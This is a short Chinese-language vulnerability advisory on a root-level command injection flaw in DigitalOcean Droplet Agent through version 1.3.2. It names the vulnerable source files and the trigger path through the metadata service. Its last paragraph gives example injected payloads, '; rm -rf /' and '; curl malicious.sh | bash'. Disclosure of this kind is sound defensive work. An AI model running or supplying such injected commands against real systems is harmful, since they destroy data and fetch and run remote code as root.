CVE-2026-24516DigitalOcean Droplet Agent 至 1.3.2 版本存在高危命令注入漏洞。该漏洞源于故障排除组件在处理元数据服务返回的命令时缺乏有效的输入清洗。攻击者可通过发送特制 TCP 数据包触发代理请求受控的元数据,进而注入任意操作系统命令。由于代理以 Root 权限运行,此漏洞可导致服务器被完全控制,造成严重的数据泄露和系统破坏风险。
漏洞核心位于 `internal/troubleshooting/actioner/actioner.go` 文件中。当 Droplet Agent 检测到 SSH 端口收到特定序列号的 TCP 包时,会从 `169.254.169.254` 拉取配置。代码逻辑仅检查 `TroubleshootingAgent.Requesting` 数组中的伪影是否在白名单 `validInvestigationArtifacts` 中,却完全忽略了对“command:”字段后具体指令的过滤。随后,`internal/troubleshooting/command/exec.go` 直接调用系统执行函数处理该未经过滤的字符串。攻击者只需伪造元数据服务的响应,在 JSON 中注入如 `; rm -rf /` 或 `; curl malicious.sh | bash` 等命令,即可绕过校验并以 Root 身份执行任意代码,实现对云主机的完全接管。